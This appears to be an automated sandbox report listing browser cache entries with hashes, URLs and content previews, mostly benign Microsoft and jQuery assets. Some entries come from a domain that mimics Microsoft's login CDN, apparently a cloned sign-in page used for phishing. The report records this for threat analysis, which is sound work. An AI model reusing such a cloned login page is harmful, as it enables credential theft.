Preview:	/! jQuery v1.11.2 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.2",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41280, version 0.0
Category:	downloaded
Size (bytes):	41280
Entropy (8bit):	7.99148680813376
Encrypted:	true
SSDEEP:	768:p6DwF7RdgMRl+TIRNdEwkoGy4q0vcZ7xaRefiwsoGuTs1txGTeG:p6DwF7PRl+TkvEYuGZdEefi6GuTo/eN
MD5:	E8EA6DC81AB52C7D6124E89EBCAC926A
SHA1:	B7BF79D3D738B06DFE9E567FEEE25D9B983135BB
SHA-256:	1EE846986FBF0BFC9F0996F563D748589A32B29AF6A6E444312C5A4DA27504C1
SHA-512:	B25A7582B9FB6A146AA927BEBC91D4F34B1820017C75DCC3DAFA8ACE22547579E3AAD82788C89C2F373330F71F970500BCDEE7C520C1A791F374A4E8DD5E3396
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff
Preview:	wOFF.......@.......H........................OS/2...D...Z...`J..\|cmap............."<.cvt ..........."..].fpgm...........\ID.ggasp...L...........#glyf...\...O.....k.head.......6...6..T2hhea.......!...$.z.8hmtx............c!.Dloca...............Pmaxp....... ... .6.fname..............>.post........... .Q.wprep.......h...@....x.c`f.g......:....Q.B3_dHc..`e.feb.B&....e...'.(..VP`p`......@F^.ELL....Ar,.......3.9f....x.e.}L.U..?.."i.\4.5..(.....6..--.Z[[j)) ... . jR....F.VF..7....a.VTj.....[......ta..}.9;....~.~....^......I$.j.>...a...5^...'...)_..D.S.....Lqf8...g.S..r.8..3.@`H`{`_........&..~&.&.d..f..2.M.t.7.Mr{.)n?7...Nts...-.......o..0..KwM..j.Fk....<..5]E.PU.'...N.....O..1..ncb<c,O...d...'/.Ct..<.u.....&....!..~.].v....~..Gx7.V.w.k..{...I{9....h~.....'.Y.....H....T.7....@.]..pi87...u...Up.....f..AA.{.Y.."v^aU.uj..5......Q..is.M.ns.....6.y.Uz...F-u.......yUb%.4O..6.2.8.R6...h.:o.>.9...d....a...C\|...r.....w\|........H!...+..<..e.%..G).Y.B.XD9..H./P...X.v.d..

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	689017
Entropy (8bit):	4.210697599646938
Encrypted:	false
SSDEEP:	6144:rnQWWDY3mr16XRxcpuEhjMPRKkC0d7xyF0FA9OgoUE0HUN4oe+:rBWU3xhDKkTshoj5
MD5:	3E89AE909C6A8D8C56396830471F3373
SHA1:	2632F95A5BE7E4C589402BF76E800A8151CD036B
SHA-256:	6665CA6A09F770C6679556EB86CF4234C8BDB0271049620E03199B34B4A16099
SHA-512:	E7DBE4E95D58F48A0C8E3ED1F489DCF8FBF39C3DB27889813B43EE95454DECA2816AC1E195E61A844CC9351E04F97AFA271B37CAB3FC522809CE2BE85CC1B8F0
Malicious:	false
Reputation:	low
URL:	https://phvr.org/aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_Kjlmc42uL0ATl_21eYcwVg2.js
Preview:	.!(function (e) {. function n(n) {. for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++). (i = o[s]),. Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]),. (a[i] = 0);. for (t in r) Object.prototype.hasOwnProperty.call(r, t) && (e[t] = r[t]);. for (d && d(n); c.length; ) c.shift()();. }. var t,. i = {},. a = { 22: 0 };. function o(n) {. if (i[n]) return i[n].exports;. var t = (i[n] = { i: n, l: !1, exports: {} });. return e[n].call(t.exports, t, t.exports, o), (t.l = !0), t.exports;. }. Function.prototype.bind \|\|. ((t = Array.prototype.slice),. (Function.prototype.bind = function (e) {. if ("function" != typeof this). throw new TypeError(. "Function.prototype.bind - what is trying to be bound is not callable". );. var n = t.call(arguments, 1),. i = n.length,. a = this,. o = function () {},. r = function () {. return (.

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.945787382366693
Encrypted:	false
SSDEEP:	3:yionv//thPnFuXf8Lts7CX9/gm6Kp0syxtuIdsvFQAahUMZ/jp:6v/lhPBR/C+aNuqsvFQA0UMpp
MD5:	3EDA15637AFEAC6078F56C9DCC9BBDB8
SHA1:	97B900884183CB8CF99BA069EEDC280C599C1B74
SHA-256:	68C66D144855BA2BC8B8BEE88BB266047367708C1E281A21B9D729B1FBD23429
SHA-512:	06B21827589FCAF63B085DB2D662737B24A39A697FF9138BDF188408647C3E90784B355F2B8390160CA487992C033CE735599271EE35873E1941812AB6C34B52
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7741.23/resources/images/0/sprite1.mouse.png
Preview:	.PNG........IHDR...X..........x......sRGB.........gAMA......a.....pHYs..........o.d....IDATHK..1......Om.O ...j.a...\BW....IEND.B`.

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/favicon.ico?v2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Reputation:	low
URL:	https://phvr.org/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	659798
Entropy (8bit):	5.352921769071548
Encrypted:	false
SSDEEP:	12288:nEMsQrWEWbnByixmwgXZewhYcFiG4DUIxo:nEMsJpBJgHKcFQNo
MD5:	9786D38346567E5E93C7D03B06E3EA2D
SHA1:	23EF8C59C5C9AA5290865933B29C9C56AB62E3B0
SHA-256:	263307E3FE285C85CB77CF5BA69092531CE07B7641BF316EF496DCB5733AF76C
SHA-512:	4962CDF483281AB39D339A7DA105A88ADDB9C210C9E36EA5E36611D7135D19FEC8B3C9DBA3E97ABB36D580F194F1860813071FD6CBEDE85D3E88952D099D6805
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7741.23/scripts/boot.worldwide.1.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.1.mouse.js'] = (new Date()).getTime();..;_a.d.G=function(n,t){this.b=n;this.a=t};_a.d.G.prototype={b:0,a:0};_a.fo=function(n){this.s=n};_a.fo.prototype={s:null,t:null,i:function(){return this.s.currentTarget},e:function(){return this.t?this.t.x:this.s.pageX},f:function(){return this.t?this.t.y:this.s.pageY},o:function(){return this.s.relatedTarget},b:function(){return this.s.target},n:function(){return this.s.timeStamp\|\|+new Date},a:function(){var n=this.s.which;!n&&_a.o.a().K&&this.s.type==="keypress"&&(n=this.u());return n},u:function(){return this.s.keyCode},m:function(){return this.s.originalEvent},j:function(){return this.s.type},k:function(){return this.s.originalEvent.touches},q:function(){return this.s.isDefaultPrevented()},g:function(){return this.s.shiftKey},h:function(){return _j.G.a().P?this.s.metaKey:this.s.ctrlKey},l:

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkWeB8fPYcWuhIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171486
Entropy (8bit):	5.043877429718187
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCx1:jlZAW9kJeqg
MD5:	B7AF9FB8EB3F12D3BAA37641537BEDC2
SHA1:	A3FBB622FD4D19CDB371F0B71146DD9F2605D8A4
SHA-256:	928ACFBA36CCD911340D2753DB52423F0C7F6FEAA72824E2A1EF6F5667ED4A71
SHA-512:	1023C4D81F68C73E247850F17BF048615DDABB69ACF2429644BDAF8DC2A95930F7A29CEAE6FBD985E1162897483A860C8248557CDA2F1F3D3FF0589158625A49
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-eus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/1b-9d8ed9/c9-be0100/a6-e969ef/43-9f2e7c/82-8b5456/a0-5d3913/43-5a5ab8/ca-ae3ce4?ver=2.0&_cf=02242021_3231
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-eus-prod/shell/_scrf/js/themes=default/54-af9f9f/d4-fb1f57/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/f9-a5b2ce/db-bc0148/dc-7e9864/6d-c07ea1/6f-dafe8c/f6-aa5278/73-a24d00/6d-1e7ed0/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/d0-e64f3e/92-10345d/79-499886/7e-cda2d3/58-ab4971/ca-108466/e0-3c9860/de-884374/1f-100dea/33-abe4df/2b-8e0ae6?ver=2.0&_cf=02242021_3231&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/favicon.ico?v2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65520), with no line terminators
Category:	downloaded
Size (bytes):	82190
Entropy (8bit):	5.036904170769404
Encrypted:	false
SSDEEP:	1536:tJzwN0CbUTqI34/9w6/Qua+1IGEbjBko230WBYT:vyA
MD5:	1F9995AB937AC429A73364B4390FF6E8
SHA1:	81998DCC6407CEB5CEF236AD52B9F2A3A9528D3B
SHA-256:	49E5166F40D8586714F86E08AB76A977199DF979357147A0E81980A804151C2A
SHA-512:	6669AE352FF46DB734BB8F973D1C0527C3A5EC4119D534AAE4C33F29EFF970168ED5FE200A05D4E1B6A2EC0E090E2207549B926317D489DC7664B0D9C2085465
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/onestorerolling-1510-19009/shell/v3/scss/shell.min.css
Preview:	@charset "UTF-8";@font-face{font-family:'wf_segoe-ui_normal';src:local("Segoe UI");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");font-weight:normal;font-style:normal}@font-face{font-family:'wf_segoe-ui_semilight';src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.ttf")

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	103
Entropy (8bit):	4.1716187943968235
Encrypted:	false
SSDEEP:	3:GACW0RXxKbFEuFX4MfY1hgSF7nKXl0QgKHJu:SW0xxsFfX820QFpu
MD5:	96C5637E1EB8F8F8C34172F2D23EAFC6
SHA1:	2A416F86C3C9E26F9C34BF1F8B1BB5DAA46E86F9
SHA-256:	90B2D35CD5E08370ED20DB81197DD9DA1A4DBB421F71293FD5733EA49EB7B3E1
SHA-512:	4686BA81D38403B2DCFDB0514F1151DF5BF555EB12EA47214FFA2E8EA2BED44348144D6731A01EBA38890B33726A76DFA26822B4233EB59BF12ED58E9EBB86D3
Malicious:	false
Reputation:	low
URL:	https://privacy.microsoft.com/en-US/updates/pspResource
Preview:	The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (402)
Category:	downloaded
Size (bytes):	262641
Entropy (8bit):	4.9463902181496096
Encrypted:	false
SSDEEP:	3072:u+Vd0pBbqPLYoyjFkxD2hAYwJb8ILm731Ss:u+Vd0DePLYoyjFkxD2hAYwJbZLM31Ss
MD5:	7C593B06759DB6D01614729D206738D6
SHA1:	0D4F76D10944933B8DDECFFE9691081439A77A3C
SHA-256:	F7D9FB0479DE843CF3FB0B78FC56BBB9E30BF0A238C6F79D9209FA8B22EFB574
SHA-512:	EF91B610CF17A17AAFB48984B4403EF175EB86096E3F12E23AE8D4C7C96EF60ED14DA3F69721E095CD2ACE3F0A06190186D000992823814BB906F7FB3576C2C1
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/external/oneui/oneui1.16.2/dist/css/app.css
Preview:	@font-face {. font-family: "wf_segoe-ui_normal";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");. font-weight: normal;. font-style: normal; }..@font-face {. font-family: "wf_segoe-ui_light";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.ttf") format("truetype

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 2576, version 1.0
Category:	downloaded
Size (bytes):	2576
Entropy (8bit):	7.719832273595377
Encrypted:	false
SSDEEP:	48:xMfPmA3TmKSBdfEFTIyRVoOpIdlDlkdLT14kjZ9IOy8mF:xOPp3pY9ETo+8l5kdLTKwYOy8a
MD5:	3352BC83EC12D2F2E46E66EB0FC20A0E
SHA1:	2C128CC55FD417D778E5213E5BFC836EB1D46A8B
SHA-256:	93FABDCFD57B85E0401518F827759AC29C7833D3E25E358E70232F86D41C643D
SHA-512:	74C4FCCC4D61E57F80E70243DF8536B72BEBBC9E6F3C3A3800E5D8715585D5581858A7B01C564D2BF3E855A18614E05DB654775879C65E5B702B098CAA2664AC
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/external/oneui/oneui1.16.2/dist/fonts/icons/icons.woff
Preview:	wOFF........................................OS/2.......C...V@.Mncmap...8...:...J.1..glyf...t.......d...head...$...,...6.9..hhea...P.......$.$..hmtx...p........@...loca.......B...B". hmaxp........... .3.`name................post............{NK.x.c`db`...............2H2.1001.23`..i.)....?.3..........f....~u...x.c```f.`..F..p....\|... ........>....R..D.3@...#..........x.uVoh[U..........K..I..KS....YS.h...}p..0:6.s. m........t.v.[.!.06Bu..thW..c...d0.((<<..&...q..q~..s.9.wC.........RD.R....R~.[KKK.....2.@?..9...7... ..=..w......8`a.'C'.jw!X..R..f..2....^m\zB.M....0....WC.....6.A...$K....\B.y.+.H.r(......EE.......O..aB..U6[...s.9{U.....-)'<.........i............y..7...u..}........Rc......[.(.E..B.U..= .".C.q....3.\|...q/...O.=...\|......\|..P..9......2f..u^.AE./..W....9ggM^...0...W.....aeL...1l).Dw.V...3O..\|...aV.0[j...X..&.B.$L.0.`.H[...Z.<W'q.4..r4.r+I .TTnp8..hj.i.[{c.........B..N.(6.sc.).....m.D.h..4.h.'.Q..;..e/........0..g..[,.....nO.K{.....2......%

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	232394
Entropy (8bit):	5.54543362321178
Encrypted:	false
SSDEEP:	1536:yldzLx/ivZfjbOv/LBbLeXeKEXK81KKVKKdKbSK0cKcyKf75DMkvqBCWcDAPf4bT:Ux/ivZfjbOv/LBbLMTq9cDw4bLl1We/
MD5:	AF8D946B64D139A380CF3A1C27BDBEB0
SHA1:	C76845B6FFEAF14450795C550260EB618ABD60AB
SHA-256:	37619B16288166CC76403F0B7DF6586349B2D5628DE00D5850C815D019B17904
SHA-512:	C5CFB514F993310676E834C8A5477576BD57C82A8665387F9909BA0D4C3C2DE693E738ACAA74E7B4CA20894EA2FEEA5CF9A2428767D03FE1DE9C84538FDC3EE9
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7741.23/resources/styles/0/boot.worldwide.mouse.css
Preview:	.feedbackList{-webkit-animation-duration:.17s;-moz-animation-duration:.17s;animation-duration:.17s;-webkit-animation-name:feedbackListFrames;-moz-animation-name:feedbackListFrames;animation-name:feedbackListFrames;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;animation-fill-mode:both}@-webkit-keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-webkit-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@-moz-keyframes feedbackListFrames{from{-moz-transform:scale(1,1);transform:scale(1,1);-moz-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-moz-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);-moz-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1245), with no line terminators
Category:	downloaded
Size (bytes):	1245
Entropy (8bit):	5.037356170002841
Encrypted:	false
